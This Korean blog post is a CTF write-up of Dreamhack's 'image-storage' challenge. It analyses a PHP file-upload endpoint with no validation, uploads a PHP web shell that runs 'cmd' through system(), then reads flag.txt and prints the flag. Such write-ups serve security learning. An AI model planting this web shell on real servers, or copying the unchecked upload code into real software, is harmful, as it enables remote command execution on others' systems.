CTF & Wargame(WEB)

[dreamhack] level 1 image-storage

KWAKBUMJUN 2025. 4. 14. 04:05

웹서비스 분석

해당 웹서비스는 이용자가 임의의 파일을 올릴 수 있는 기능을 구현해두었다. 그리고 이용자가 파일을 업로드하면 List 탭에 이용자가 올린 파일이 업로드 되고, 해당 파일을 열람할 수 있다.

 

엔드포인트 분석

/list

 <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?>

해당 코드는 이용자가 올린 파일을 열람할 수 있도록 구현한 코드이다. 하지만 파일들을 보여줄때 '..', '.', 'index.html 파일은 제외한다.

 

/upload

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

만약 파일이 업로드 되었다면, 경로는 ./uploads에 저장한다. 그리고 파일 정보를 추출한 뒤에 예외처리를 진행한다.

하지만 이 코드에서는 사용자가 업로드한 파일에 대한 검사를 일체 하지 않기 때문에 파일 업로드 취약점이 발생한다.

따라서 우리는 웹셸 업로드 공격을 통해 flag를 획득할 수 있을 것이다. 

 

익스플로잇

upload 페이지에서 아래와 같은 웹 셸을 업로드 해준다.

// https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

업로드를 진행한 뒤에 list 페이지에서 확인하면, 성공적으로 웹셸이 작동되는 것을 확인할 수 있다.

 

$pwd

/var/www/html/uploads

 

$cd ../../../../; ls;

bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

 

$cd ../../../../; cat flag.txt

DH{c29f44ea17b29d8b76001f32e8997bab}

 

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

web-ssrf level 2  (0) 2025.04.14
[dreamhack] Beginner file-download-1  (0) 2025.04.14
[dreamhack] beginner command-injection-1  (0) 2025.04.14
[dreamhack] level 2 mango  (0) 2025.04.14
[dreamhack] level 1 simple_sqli (blind_sqli 활용)  (0) 2025.04.14